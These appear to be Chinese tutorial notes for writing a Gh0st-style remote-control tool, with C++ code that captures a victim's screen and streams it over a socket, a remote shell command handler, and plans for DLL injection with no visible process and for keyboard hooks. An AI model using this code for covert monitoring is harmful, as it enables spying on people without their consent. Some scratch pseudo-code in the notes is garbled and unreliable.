查看屏幕的 define 宏信号
1024*768 分辨率 产生 大小 bmp
2.25M
肉眼 每秒24帧
基本流程:获取图像 — 发送图像 — 显示图像
实际流程:获取图像 — 压缩/转换图像 — 发送图像 — 解压/转换图像 — 显示图像
图像压缩算法
char *p; // 字符数组
int GetScreenSize();
p = new GetScreenSize(); p[] = {BYTE}; //unsigned char
p[100] = {aaaccccbbbbbbaeccefsgsdf...};
RLE算法(Run-Length Encoding) LZW算法(Lempel-Ziv-Welch Encoding) 霍夫曼压缩 RAR - LZW
RLE:{aaaccccbbbbbba} 压缩{a3c4b5a1} 解压{aaaccccbbbbba}
适用于屏幕数据中存在大量同样数据
RLE变种:{abcbcbcbcabcbca} 压缩{a1bc4a1bc2a1}
LZW:{abcbcbcbcabcbcab} 压缩字典{ab:1 cb:2 ca:3}{12223221}
解压:根据字典来解压 适用于任何情况
图像数据转换
zlib.lib JPEG类(有损压缩)
1024*768 分辨率
164kb
http://www.cctry.com/thread-50457-1-1.html //zlib库的使用
http://www.cctry.com/thread-5653-1-1.html //zlib库的例子
CapScreenJpeg JPEG算法
其他
隔行扫描算法 屏幕分块获取 屏幕数据判断
http://www.cctry.com/thread-45471-1-1.html //隔行扫描
隔行扫描:
灰鸽子 Delphi
DRAT Delphi
Gh0st C++
LZW:
Vipshell
守候远控
压缩库
PCShare
综合使用 + 汇编实现
1:150 倍
[25]—屏幕监控(2)查看屏幕的实现

多线程 + 阻塞socket
1000-2000台
完成端口
60000 自由管理
DLL形式 注入-无进程
屏幕传输的压缩解压方案
键盘钩子
try优化
定制化远控
界面
命令
传输结构体
server.cpp 安装服务的操作
主函数中 入口 注释 保留创建服务
int _tmain(int argc, _TCHAR* argv[])
{
/*
SERVICE_TABLE_ENTRY DispatchTable[] =
{
//服务程序的名称和入口点
{(wchar_t*)ServiceName,ServiceMain}, //服务名
//SERVICE_TABLE_ENTRY结构必须以“NULL”结束
{NULL,NULL}
};
//连接服务控制管理器,开始控制调度程序线程
StartServiceCtrlDispatcherW(DispatchTable);
InstallService();
*/
::CloseHandle(CreateThread(NULL,0,RunService,NULL,0,NULL));
while(true)
{
Sleep(10000);
}
return 0;
}
创建线程 点击主机Runservice
子系统 入口点
//#pragma comment( linker, “/subsystem:windows /entry:wmainCRTStartup” )
有命令行能够显示
添加 CScreen类


获取图像
#include “StdAfx.h”
#include “Screen.h”
#include “math.h”
void CScreen::GetScreen()
{
CDC* pDeskDC = CWnd::GetDesktopWindow()->GetDC(); //获取桌面画布对象 设备描述表CDC类指针 当前画布的GDI句柄
CRect rc; // 定义矩形
CWnd::GetDesktopWindow()->GetClientRect(rc); //获取屏幕的客户区域
int width = GetSystemMetrics(SM_CXSCREEN); //获取屏幕的宽度
int height = GetSystemMetrics(SM_CYSCREEN); //获取屏幕的高度
CDC memDC; //定义一个内存画布
memDC.CreateCompatibleDC(pDeskDC); //创建一个兼容的画布
CBitmap bmp;
bmp.CreateCompatibleBitmap(pDeskDC,width,height); //创建兼容位图
memDC.SelectObject(&bmp); //选中位图对象
BITMAP bitmap;
bmp.GetBitmap(&bitmap);
panelsize = 0; //记录调色板大小 类成员 double panelsize;
//需要增加颜色判断算法
//bitmap.bmBitsPixel = 4; //更改颜色
if (bitmap.bmBitsPixel<16) //判断是否为真彩色位图
{
panelsize = pow(2.0,(double)bitmap.bmBitsPixel*sizeof(RGBQUAD));
}
HeadTotal = (int)panelsize + sizeof(BITMAPINFO);
pBMPINFO = (BITMAPINFO*)LocalAlloc(LPTR,sizeof(BITMAPINFO)+(int)panelsize); // 结构体 BITMAPINFO *pBMPINFO;
pBMPINFO->bmiHeader.biBitCount = bitmap.bmBitsPixel;//4
pBMPINFO->bmiHeader.biClrImportant = 0;
pBMPINFO->bmiHeader.biCompression = 0;
pBMPINFO->bmiHeader.biHeight = height;
pBMPINFO->bmiHeader.biPlanes = bitmap.bmPlanes;
pBMPINFO->bmiHeader.biSize = sizeof(BITMAPINFO); // 位图大小 像素大小
pBMPINFO->bmiHeader.biSizeImage = bitmap.bmWidthBytes*bitmap.bmHeight;
pBMPINFO->bmiHeader.biWidth = width;
pBMPINFO->bmiHeader.biXPelsPerMeter = 0;
pBMPINFO->bmiHeader.biYPelsPerMeter = 0;
memDC.BitBlt(0,0,width,height,pDeskDC,0,0,SRCCOPY); // 绘画
TotalSize = bitmap.bmWidthBytes * bitmap.bmHeight;
pData = new BYTE[TotalSize]; // 压缩发送 类成员 私有变量 无符号指针
if(::GetDIBits(memDC.m_hDC,bmp,0,bitmap.bmHeight,pData,pBMPINFO,DIB_RGB_COLORS)==0)
{
printf("Return 0\n");
//delete pData;
pData = NULL;
return;
}
}
声明变量
#include "Common.h"
#include "MySocket.h"
class CScreen
{
private:
void GetScreen();
void SendBmpHeaderinfo();
void SendBmpData();
BYTE* pData;
BITMAPINFO *pBMPINFO;
CMySocket m_sock;
UINT TotalSize;
int HeadTotal;
double panelsize;
public:
HANDLE m_h;
void CleanData();
void SendScreenData();
CScreen(void);
~CScreen(void);
bool flag;
SOCKET m_sock_screen; // 初始化获取到的socket 的值
};
stdafx.h 头文件处理
// stdafx.h : 标准系统包含文件的包含文件,
// 或是经常使用但不常更改的
// 特定于项目的包含文件
//
#pragma once
#include <afx.h>
#include <afxwin.h> // CDC
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: 在此处引用程序需要的其他头文件
#include <winsock2.h>
#include <windows.h>
[26]—屏幕监控(3)查看屏幕的实现
不使用算法处理的发送函数
common定义消息值 (server,client都要定义)
#define SCREEN 0x0E
BITMAPINFO结构体
定义在 common.h
typedef struct tagBMPDATA
{
BITMAPINFO bmpheadinfo; // 结构体中包含结构体
int Id;
bool Show;
int Size;
int HeadSize;
UINT Begin;
BYTE Data[5000];
}BMPDATA;

指向 bit mapinfo 指针存放的内容
GDi 的定义
包含
头部
颜色 数组
传输消息 用的 通用结构体

可以在这里打印 int值得大小 得知 每次传输数据的大小
结构体的大小
byte 无符号 字符型

int 4
1024*5 5120
5120 +4 * 1024 = 5.0 —> 5k
发送头信息
void CScreen::SendBmpHeaderinfo()
{
BMPDATA bmpdata; // 定义结构体
memset(&bmpdata,0,sizeof(BMPDATA)); // 清空操作
bmpdata.Id = 0; //说明它是什么数据
bmpdata.Show = false;
bmpdata.Size = TotalSize;
bmpdata.HeadSize = HeadTotal;
//memcpy(&bmpdata.bmpinfo,pBMPINFO,HeadTotal);
memcpy(&bmpdata.bmpheadinfo,pBMPINFO,sizeof(BITMAPINFO));
// 发送结构体
MSGINFO_S msg;
memset(&msg,0,sizeof(MSGINFO_S));
msg.Msg_id = SCREEN; // 屏幕命令
memcpy(msg.context,&bmpdata,sizeof(BMPDATA));
m_sock.MySend(m_sock_screen,(char*)&msg,sizeof(MSGINFO_S)); //MySocket 类的成员
}
m_sock_screen 屏幕传送标识
定义变量
ThreadMain.h
#include "Screen.h"
class CThreadMain
{
private:
CScreen m_screen;
static DWORD WINAPI SendScreen(LPVOID self);
};
传递接收的socket
类似于 cmd 功能 , 内置线程 发送 获取信息
threadMain.cpp
case CMDSHELL:
{
printf("CmeShell\n");
m_cmd.Cmd_GetSock(l_Socket);
::CloseHandle(CreateThread(0,0,SendCmd,(LPVOID)&m_cmd,0,0));
Sleep(200);
::CloseHandle(CreateThread(0,0,InitCmd,(LPVOID)&m_cmd,0,0));
}
break;
case SCREEN:
{
printf("Screen\n");
m_screen.m_sock_screen = l_Socket;
if(strcmp((char*)msg.context,"T") == 0)
{
m_screen.m_h = CreateThread(0,0,SendScreen,(LPVOID)&m_screen,0,0);
}
else
{
m_screen.flag = false;
SuspendThread(m_screen.m_h);
m_screen.CleanData();
::CloseHandle(m_screen.m_h);
}
//::CloseHandle(CreateThread(0,0,SendScreen,(LPVOID)&m_screen,0,0));
}
break;
DWORD WINAPI CThreadMain::SendScreen(LPVOID self)
{
CScreen* t = (CScreen*)self;
t->SendScreenData();
return 0;
}
screen.cpp
void CScreen::CleanData()
{
delete pData;
LocalFree(pBMPINFO);
pData = NULL;
pBMPINFO = NULL;
}
void CScreen::SendScreenData()
{
flag = true;
while(flag)
{
GetScreen();
SendBmpHeaderinfo();
SendBmpData();
Sleep(300);
delete pData;
}
printf("ScreenThreadOver\n");
}
发送屏幕数据内容
void CScreen::SendBmpData()
{
MSGINFO_S msg;
memset(&msg,0,sizeof(MSGINFO_S));
msg.Msg_id = SCREEN;
BMPDATA bmpdata;
memset(&bmpdata,0,sizeof(BMPDATA));
bmpdata.Id = 1;
int Count = TotalSize / 512 + 1; // 需要发送的次数 下面的512都 改成5000
if(TotalSize % 512 == 0) // 数据内容体
{
Count = Count - 1; // 看是否能整除
}
bmpdata.Show = false; // 告诉客户端 是否可以显示图像
UINT Begin,End; // 定义标志 结束复制
End = 512; // 顶一次到5000
for(int i=0;i<Count;i++)
{
memset(bmpdata.Data,0,512); // 清空
memset(msg.context,0,sizeof(msg.context)); //消息结构体 清空
Begin = i * 512; // begin 开始0
bmpdata.Begin = Begin;
if(i == Count - 1) // 最后一次发送
{
bmpdata.Show = true;
bmpdata.Id = 2;
bmpdata.Size = TotalSize; //总共数据的大小
for(UINT j=Begin,k=0;j<TotalSize;j++,k++) // 100-105
{
bmpdata.Data[k] = pData[j];
}
}
else
{
for(UINT j=Begin,k=0;k<512;j++,k++)
{
bmpdata.Data[k] = pData[j];
}
}
//printf("%d\n",i);
memcpy(msg.context,(char*)&bmpdata,sizeof(BMPDATA));
m_sock.MySend(m_sock_screen,(char*)&msg,sizeof(MSGINFO_S));
//发送数据
}
}
自定义结构体传送原理
BYTE pData[100]; 1024*1024
MSG msg; //10;
UINT flag = 0;
//int i=0;i<1024*1024;i++
// flag--- 5Kb 5*1024
//flag = flag + 5*1024
for(;;)
{
//pData 读取 flag --- flag + 10 //第一次 0 - 10 //第二次 10 - 20 //第三次 20 - 30
//flag = flag + 10
//send();
}
BYTE pData[105]; 100 - 105 //count + 1
MSG msg; //10;
UINT flag = 0;
//临时结构体 sizeof 结构体大小 532字节 剩余 4588
typedef struct tagBMPDATA
{
//BITMAPINFO bmpinfo;
int Id; // 发送次数
bool Show;
int Size;
int HeadSize;
UINT Begin; // 开始位置
BYTE Data[512]; // 512 + 4588 = 5100 sizeof 5120 -->改成 5000
}BMPDATA;
有次数的循环
数据大小 / 消息结构体的大小
for(sizeof(pData) / sizeof(msg.context) + 1)
{ Begin End
//pData 读取 flag --- flag + 10 //第一次 0 - 10 //第二次 10 - 20 //第三次 20 - 30
//flag = flag + 10
//send();
}
[27]屏幕监控(4)发送与接收图像信息及客户端显示
窗口资源 添加screen对话框

修改id

修改风格
添加MFC类

添加Command
主Dlg.cpp
#define ID_SCREEN 1002
BEGIN_MESSAGE_MAP(CExecN0vvDlg, CDialog)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
//主机消息
ON_MESSAGE(ID_ONLINE,OnAddHost)
ON_MESSAGE(ID_OFFLINE,OnOffLine)
//按钮消息
ON_COMMAND(ID_SCREEN,OnScreen)
//}}AFX_MSG_MAP
ON_WM_SIZE()
ON_WM_CLOSE()
END_MESSAGE_MAP()
void CExecN0vvDlg::OnScreen()
{
CItemData *t;
t = GetSelItemInfo();
if(t == NULL)
{
return;
}
else
{
t->RunToScreen();
}
}
CItemData* CxxxxDlg::GetSelItemInfo()
{
POSITION pos_s;
pos_s=m_list.GetFirstSelectedItemPosition();
if(!pos_s)
{
return NULL;
}
int item=m_list.GetNextSelectedItem(pos_s);
CItemData *t;
t = (CItemData*)m_list.GetItemData(item);
return t;
}
主dlg.h
private:
void OnScreen();
CItemData* GetSelItemInfo();
创建节点位置功能 RunToScreen
//itemData.cpp
void CItemData::RunToScreen()
{
if(m_screen == NULL)
{
m_screen = new CScreen(this,m_sock);
m_screen->Create(IDD_SCREEN,this);
m_screen->ShowWindow(SW_NORMAL);
}
else
{
m_screen->SetActiveWindow();
}
}
//itemData.h
#include "Screen.h"
class CItemData : public CDialog
{
public:
void RunToScreen();
CScreen *m_screen;
//itemData.cpp
CItemData::CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd)
{
m_screen = NULL;
}
//Screen.h内
#include "Common.h"
#include "MySocket.h"
class CScreen : public CDialog
{
DECLARE_DYNAMIC(CScreen)
public:
CScreen(CWnd* pParent = NULL,SOCKET sock = NULL); // 标准构造函数
virtual ~CScreen();
// screen.cpp
CScreen::CScreen(CWnd* pParent /*=NULL*/,SOCKET sock)
: CDialog(CScreen::IDD, pParent)
{
m_sock = sock;
}
//screen.h
private:
SOCKET m_sock;
stdafx.h
#include "Resource.h"
// 因为里面有 #define IDD_SCREEN 190
窗口关闭

void CScreen::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
//CDialog::OnClose();
MSGINFO msg;
memset(&msg,0,sizeof(MSGINFO));
msg.Msg_id = SCREEN;
strcpy_s((char*)msg.context,2,"F");
m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(MSGINFO));
((CItemData*)this->m_pParentWnd)->m_screen = NULL;
DestroyWindow();
}

// screen.h
class CScreen : public CDialog
{
private:
CMySocket m_Mysock;
};
// screen.cpp
#include "ItemData.h"
重载 防止意外退出函数

// screen.cpp
BOOL CScreen::PreTranslateMessage(MSG* pMsg)
{
// TODO: 在此添加专用代码和/或调用基类
if(pMsg->message==WM_KEYDOWN)
{
int nVirtKey = (int)pMsg->wParam;
if(nVirtKey==VK_RETURN || nVirtKey==VK_ESCAPE)
{
return TRUE;
}
}
return CDialog::PreTranslateMessage(pMsg);
}
数据id
// Itemdata.cpp
switch(msg.Msg_id)
{
case SYSINFO:
{
SYSTEMINFO systeminfo;
memset(&systeminfo,0,sizeof(SYSTEMINFO));
memcpy(&systeminfo,msg.context,sizeof(SYSTEMINFO));
GetSysVer(systeminfo);
::SendMessage(m_hWnd,ID_ONLINE,(WPARAM)this,0);
}
break;
case SCREEN:
{
if(m_screen == NULL)
{
break;
}
BMPDATA bmpdata;
memset(&bmpdata,0,sizeof(BMPDATA));
memcpy(&bmpdata,msg.context,sizeof(BMPDATA));
m_screen->GetScreen(bmpdata);
}
break;
default:
{
MessageBox(_T("获取消息ID错误"),_T("错误"),MB_OK|MB_ICONWARNING);
}
}
在这里插入代码片
GetScreen 获取图像函数
client 的 common.h 引入结构体
typedef struct tagBMPDATA
{
BITMAPINFO bmpheadinfo;
int Id;
bool Show; //是否可以显示图像
int Size;
int HeadSize;
UINT Begin;
BYTE Data[5000];
}BMPDATA;
//screen.h
public:
void GetScreen(BMPDATA bmpdata);
// screen.cpp
void CScreen::GetScreen(BMPDATA bmpdata) //显示图像
{
//BMPDATA bmpdata;
//memcpy(&bmpdata,&bmpdata_s,sizeof(BMPDATA));
switch(bmpdata.Id)
{
case 0: // 头信息
{
pBInfo = (BITMAPINFO*)LocalAlloc(LPTR,bmpdata.HeadSize);
memcpy(pBInfo,&bmpdata.bmpinfo,bmpdata.HeadSize);
pData = new BYTE[bmpdata.Size];
memset(pData,0,bmpdata.Size);
}
break;
case 1: // 位图信息
{
//复制数据
for(int i=bmpdata.Begin,j=0;j<512;i++,j++)
{
pData[i] = bmpdata.Data[j];
}
}
break;
case 2: // 最后一次发送的图像数据
{
//最后一次复制数据
for(int i=bmpdata.Begin,j=0;i<bmpdata.Size;i++,j++)
{
pData[i] = bmpdata.Data[j];
}
}
break;
default:
{
MessageBox(_T("未知的图像数据ID"),_T("提示"),MB_OK);
delete[] pData;
LocalFree(pBInfo);
return;
}
}
//判断传送完以后是否可以显示图像
if(bmpdata.Show)
{
SCROLLINFO hStructure,vStructure;
memset(&hStructure,0,sizeof(SCROLLINFO));
memset(&vStructure,0,sizeof(SCROLLINFO));
hStructure.cbSize = sizeof(SCROLLINFO);
vStructure.cbSize = sizeof(SCROLLINFO);
//获取滚动条的位置,根据位置绘制图像
GetScrollInfo(SB_HORZ, &hStructure);
GetScrollInfo(SB_VERT, &vStructure);
CRect rc1;
GetClientRect(&rc1);
::StretchDIBits(GetDC()->m_hDC, // 显示图像
0,
31,
pBInfo->bmiHeader.biWidth,
pBInfo->bmiHeader.biHeight,
hStructure.nPos,
-vStructure.nPos,
pBInfo->bmiHeader.biWidth,
pBInfo->bmiHeader.biHeight,
pData, //位图数据
pBInfo, //BITMAPINFO 位图信息头
DIB_RGB_COLORS,
SRCCOPY
);
// 设置当前滚动条位置
hStructure.fMask = SIF_ALL;
hStructure.nMin = 0;
//hStructure.nMax = bitmap.bmWidth;
hStructure.nMax = pBInfo->bmiHeader.biWidth;
hStructure.nPage = rc1.right;
SetScrollInfo(SB_HORZ, &hStructure);
vStructure.fMask = SIF_ALL;
vStructure.nMin = 0;
//vStructure.nMax = bitmap.bmHeight + 31;
vStructure.nMax = pBInfo->bmiHeader.biHeight + 31;
vStructure.nPage = rc1.bottom;
SetScrollInfo(SB_VERT, &vStructure);
delete []pData;
LocalFree(pBInfo);
pData = NULL;
pBInfo = NULL;
}
return;
}
[28]屏幕监控(5)发送与接收图像信息
客户端的CScreen中添加公共数据 (位图头,位图数据)
// screen.h
BYTE *pData; //屏幕数据 无符号 char 型
BITMAPINFO *pBInfo; //位图头指针
BMPDATA bmpdata_t;
改写结构体的大小 宏5000的大小
修改发送函数
数据传递流程分析
服务端
threadmain case screen -> 复制socket -> 创建新线程 -> 发送数据
客户端
itemdata case SCREEN -> getscreen() 数据处理 保存在类的公共变量-> 最后一次传输 show 显示
5064 结构体体积
传送信息指令
// screen.cpp
BOOL CScreen::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
MSGINFO msg;
memset(&msg,0,sizeof(MSGINFO));
msg.Msg_id = SCREEN;
strcpy_s((char*)msg.context,2,"T");
m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(MSGINFO));
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
// screen.h
public:
afx_msg void OnClose();
virtual BOOL PreTranslateMessage(MSG* pMsg);
virtual BOOL OnInitDialog();

图像信息不完整
客户端接收时 发现漏掉了
// screen.cpp
case 1: //位图数据
{
//复制数据
for(int i=bmpdata.Begin,j=0;j<5000;i++,j++)
{
pData[i] = bmpdata.Data[j];
}
}
break;

[29]屏幕监控(6)滚动条设置与清除剩余数据



添加滚动条消息

void CScreen::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
if(nSBCode != SB_ENDSCROLL)
{
SCROLLINFO vStructure;
GetScrollInfo(SB_VERT, &vStructure); // 获取滚动条的信息
vStructure.nPos = nPos;
SetScrollInfo(SB_VERT, &vStructure);
}
CDialog::OnVScroll(nSBCode, nPos, pScrollBar);
}
void CScreen::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
if(nSBCode != SB_ENDSCROLL)
{
SCROLLINFO hStructure;
GetScrollInfo(SB_HORZ, &hStructure);
hStructure.nPos = nPos;
SetScrollInfo(SB_HORZ, &hStructure);
}
//Invalidate();
CDialog::OnHScroll(nSBCode, nPos, pScrollBar);
}

server 端的死循环 创建线程 并没有关闭
设置成flag
当前可不可以发送屏幕
否则挂起 退出进程
client 告诉server 端 关闭了窗口
T/F 用来区分 是否发送信息
挂起 清除数据
client 刚开启时候 初始化为 T
7.1 屏幕抓图显示
客户端: visual stdio2010
服务端: visual C++ 6.0 +platform SDK February2003
MSDN文档
https://learn.microsoft.com/zh-cn/
(1)大规模软件开发的设计思想。
(2)Windows下图形界面编程、各种控件的实际应用(本教程将会使用到各种Windows控件)。
(3)Windows下多线程程序的开发、以及线程同步,互斥等。
(4)Windows下程序间利用Socket通信。
(5)详细理解Winddos下远程注入技术。
(6)Windows服务程序的开发。(服务方式启动是服务端启动方式的一种)
(7)如何书写更加简洁 ,易于维护的代码。
通过本教程学员将得到:
(1) 本远程管理的源代码。
(2) 教程中所有Demo的源码。
(3) 作者的一些小工具。
课时安排:(每节课20—30分钟,太长的教程看了就想睡觉:-D)
(1) 客户端界面的设计和编写(10课时)(注:支持窗口的伸缩以及窗口中控件的伸缩)
(2) 从Gh0st客户端中分离出Socket数据传输的内核、分析数据传输的代码体会作者的设计思想,并加入客户端(5课时)
(3) 创建服务端,并从Gh0st服务端中分离出Socket数据传输的内核,分析数据传输的代码体会作者的设计思想,并加入服务端(5课时)
(4) 远程终端管理的编写(5课时)
(5) 远程进程管理的编写(4课时)
(6) 远程窗口管理的编写(4课时)(注:支持窗口的隐藏,最大化,最小化)
(7) 远程桌面管理的编写(6课时)(注:可以从中学习到BMP位图格式,屏幕的抓取,像素的比较)
(8) 远程文件管理的编写(6课时)
(9) 远程语音管理的编写(4课时)
(10) 远程视频管理的编写(6课时)(注:支持无驱摄像头,视频压缩,视频录像)
(11) 服务端安装和启动的编写:服务启动(5课时)ActiveX启动(4课时)
(12) 远程服务管理的编写(6课时)
(13) 远程注册表管理的编写(6课时)
(14) 从客户端生成服务端,远程连接数据加密(4课时)
HDC CreateDC( //得到指定设备名的设备描述表
LPCTSTR lpszDriver, // driver name 设备名
LPCTSTR lpszDevice, // device name 特殊设备名
LPCTSTR lpszOutput, // not used; should be NULL 通常设置为NULL 兼容x86x64
CONST DEVMODE* lpInitData // optional printer data 驱动程序的初始化DEVMODE结构指针 NULL
);
得到设备名将设备打开
HDC CreateCompatibleDC( //为设备描述表创建兼容的内存`设备描述表`
HDC hdc // handle to DC 设备句柄
);
返回值为设备的内存描述表
将打开的设备描述表选定到内存
int GetDeviceCaps( //得到指定设备的信息 高度 宽度
HDC hdc, // handle to DC //设备句柄 设备描述表
int nIndex // index of capability //指定要得到那个方面的信息
);
https://learn.microsoft.com/zh-cn/windows/win32/api/wingdi/nf-wingdi-getdevicecaps
HBITMAP CreateCompatibleBitmap( // 创建一个与设备描述表兼容的位图
HDC hdc, // handle to DC //设备描述表
int nWidth, // width of bitmap, in pixels //位图的宽度
int nHeight // height of bitmap, in pixels //位图的高度
);
HGDIOBJ SelectObject( //// 把对象选到内存设备描述表中
HDC hdc, // handle to DC //设备描述表
HGDIOBJ hgdiobj // handle to object //要加入的对象
);
设备描述表与新加入的对象兼容关联
BOOL BitBlt( //对指定的原设备环境区域中的像素进行位块转换 可以理解为抓图
HDC hdcDest, // handle to destination DC //设备对象
int nXDest, // x-coord of destination upper-left corner //目标矩型区域的左上角x坐标
int nYDest, // y-coord of destination upper-left corner //目标矩形区域的左上角y坐标
int nWidth, // width of destination rectangle //目标巨型区域的逻辑宽度
int nHeight, // height of destination rectangle //目标巨型区域的逻辑高度
HDC hdcSrc, // handle to source DC //源设备句柄
int nXSrc, // x-coordinate of source upper-left corner //源矩型区域的左上角x坐标
int nYSrc, // y-coordinate of source upper-left corner //源矩型区域的左上角y坐标
DWORD dwRop // raster operation code //光栅操作代码
);
创建对话框工程,拉入图片显示控件

新建工程 基本对话框
修改控件为位图 为控件增加变量

类CScreen_demoDlg添加Copybitmap成员函数
HBITMAP
Copybitmap(LPRECT lprect)

给区域 拷贝出来 bitmap
HDC hscrdc, hmemdc;// 屏幕和内存设备描述表
HBITMAP hbitmap, holdbitmap;// 位图句柄
int nx, ny, nx2, ny2;// 选定区域坐标
int nwidth, nheight;// 位图宽度和高度
int xscrn, yscrn;// 屏幕分辨率
// 确保选定区域不为空矩形
if (IsRectEmpty(lprect))
return NULL;
//为屏幕创建设备描述表 整个桌面
hscrdc = CreateDC("display", NULL, NULL, NULL);
//为屏幕设备描述表创建兼容的内存设备描述表
hmemdc = CreateCompatibleDC(hscrdc);
// 获得选定区域坐标
nx = lprect->left;
ny = lprect->top;
nx2 = lprect->right;
ny2 = lprect->bottom;
// 获得屏幕分辨率
xscrn = GetDeviceCaps(hscrdc, HORZRES);
yscrn = GetDeviceCaps(hscrdc, VERTRES);
//确保选定区域是可见的
if (nx < 0)
nx = 0;
if (ny < 0)
ny = 0;
if (nx2 > xscrn)
nx2 = xscrn;
if (ny2 > yscrn)
ny2 = yscrn;
nwidth = nx2 - nx;
nheight = ny2 - ny;
// 创建一个与屏幕设备描述表兼容的位图
hbitmap = CreateCompatibleBitmap(hscrdc, nwidth, nheight);
// 把新位图选到内存设备描述表中
holdbitmap = (HBITMAP)SelectObject(hmemdc, hbitmap);
// 把屏幕设备描述表拷贝到内存设备描述表中
BitBlt(hmemdc, 0, 0, nwidth, nheight,hscrdc, nx, ny, SRCCOPY);
//得到屏幕位图的句柄
hbitmap = (HBITMAP)SelectObject(hmemdc, holdbitmap);
//清除
DeleteDC(hscrdc);
DeleteDC(hmemdc);
// 返回位图句柄
return hbitmap;
添加确定按钮消息并添加代码

LPRECT temprect; //创建一块区域
HBITMAP tempmap;
temprect = new RECT();
temprect->bottom = 200;
temprect->left = 0;
temprect->right = 200;
temprect->top = 0;
tempmap = Copybitmap(temprect);
//显示获取的屏幕
m_pic.SetBitmap(tempmap);
delete temprect;
//CDialog::OnOK();
更改资源名 IDC_STATIC_BITMAP
添加变量 m_pic 为 控件形式
c + w

BMP位图结构分析,将抓取的图像保存成文件
BITMAP 位图结构
遵守了 微软的bmp 结构 还是一些数据
一个bmp文件由四部分组成:
struCt tagBITMAPFIlEHEADER 文件头
strut tagBITMAPINFOHEADER 位图信息头
typedef tagRGBQUAD RGB
位图数据
bmp文件结构解析
tagBITMAPFIlEHEADER
typedef struCt tagBITMAPFIlEHEADER
{
WORD bftype; //BM 两个字节 头文件 表示 是个 bitmap文件
DWORD bfsiZe: //位图文件大小 四个字节 双字
WORD bfReservedl; //必须为0
WORD bgReserved2: //必为0
DWORD bfoffBits: // 图像数据在 文件内的起始地址 字节
}BITMAPFILEHEADER;

高高低低
16 94 04 00 49416
16进制 --> 10进制 /1024 = 293 kb
第多少个 字节 为数据文件
36 00 00 00
36 --> 54

BITMAPINFOHEADER
BITMAPINFOHEADER数据结构用于说明位图的大小,其定义为:
type struct tagBITMAPINFOHEADER
// 结构体成员
{
DWORD biSize: //结构BITMAPINFOHEADER所占用的存储容量,固定值为40
28 00 00 00 --> 10进制 40
DWORD biWldth; //给出该BMP文件所描述位图的宽度与高度
DWORD biHeight; //给出该BMP文件所描述位图的宽度与高度
C8 00 00 00 200
F4 01 00 00 1F4 500
尺寸 200 x 500
WORD biPlanes: //它代表目标设备的平面数必须为1。
WORD 2个字节
01 00
WORD biBitCount:
//它确定每个像素所需要的位数。
当图像为单色时,该字段的取值为1;
当图像为16色时,该字段的取值为4;
当图像为256 色时,该字段的取值为8;
当图像为真彩色时,该字段的取值为24。
18 -> 24
DWORD biCOmpression;//它代表bottom—up类型位图的 压缩类型
E0 93 04 00 493E0 300000
DWORD 8个字节

4xBYTE = DWORD
4x2 = 8 bit
DWORD biSiZelmage; //给出该BMP 内图像数据占用的空间大小
DWORD biXPelsPerMeter://它们分别以每米像素数为单位,给出位图目的设备水平以及垂直方向的 分辨率
DWORD biYPelsPerMeter://它们分别以每米像素数为单位,给出位图目的设备水平以及垂直方向的 分辨率
DWORD biClrUsed; //给出位图实际使用的颜色表中的 颜色变址数
DWORD biClrlmportant;//它给出位图显示过程中 重要颜色的变址数。
}BITMAPINFOHEADER;
调色板数据 tagRGBQUAD
typedef struct tagRGBQUAD
{
BYTE rgbBlue;
BYTE rgbGreen;
BYTE rgbRed;
BYTE rgbReserved; //它不代表任何意 义,必须取固定值00
}RGBQUAD;
tagBITMAPINFO
bmp结构还提供了另外一个结构类型
成员定义
tyPedef stmCt tagBITMAPINFO
{
BITMAPINFOHEADER bmiHeader:
RGBQUAD bmiC010ur[1];
}BITMAPINFO;
位图数据
注意位图数据的存放是倒序的 文件的第一行正是图像的最后一行
保存 bmp 图像
添加类的成员函数
BOOL
SaveBmp(CString lpFileName, HBITMAP hBitmap)
HDC hDC;
//设备描述表
int iBits;
//当前显示分辨率下每个像素所占字节数
WORD wBitCount;
//位图中每个像素所占字节数
//定义调色板大小, 位图中像素字节大小 , 位图文件大小 , 写入文件字节数
DWORD dwPaletteSize=0,dwBmBitsSize,dwDIBSize, dwWritten;
BITMAP Bitmap;
//位图属性结构
BITMAPFILEHEADER bmfHdr;
//位图文件头结构
BITMAPINFOHEADER bi;
//位图信息头结构
LPBITMAPINFOHEADER lpbi;
//指向位图信息头结构 lp 指针 需要分配空间使用
HANDLE fh, hDib, hPal;
HPALETTE hOldPal=NULL;
//定义文件,分配内存句柄,调色板句柄
//计算位图文件每个像素所占字节数
hDC = CreateDC("DISPLAY",NULL,NULL,NULL);
iBits = GetDeviceCaps(hDC, BITSPIXEL) *
GetDeviceCaps(hDC, PLANES);
DeleteDC(hDC);
iBits=24;
if (iBits <= 1)
wBitCount = 1;
else if (iBits <= 4)
wBitCount = 4;
else if (iBits <= 8)
wBitCount = 8;
else if (iBits <= 24)
wBitCount = 24;
else
wBitCount = 32;
//计算调色板大小
if (wBitCount <= 8)
dwPaletteSize=(1<<wBitCount)*sizeof(RGBQUAD);
//设置位图信息头结构
GetObject(hBitmap, sizeof(BITMAP), (void*)&Bitmap);
bi.biSize = sizeof(BITMAPINFOHEADER);
bi.biWidth = Bitmap.bmWidth;
bi.biHeight = Bitmap.bmHeight;
bi.biPlanes = 1;
bi.biBitCount = wBitCount;
bi.biCompression = BI_RGB;
bi.biSizeImage = 0;
bi.biXPelsPerMeter = 0;
bi.biYPelsPerMeter = 0;
bi.biClrUsed = 0;
bi.biClrImportant = 0;
dwBmBitsSize = ((Bitmap.bmWidth*wBitCount+31)/32)*4*Bitmap.bmHeight;
//为位图内容分配内存
hDib = GlobalAlloc(GHND,dwBmBitsSize+dwPaletteSize+sizeof(BITMAPINFOHEADER));
lpbi = (LPBITMAPINFOHEADER)GlobalLock(hDib);
*lpbi = bi;
// 处理调色板
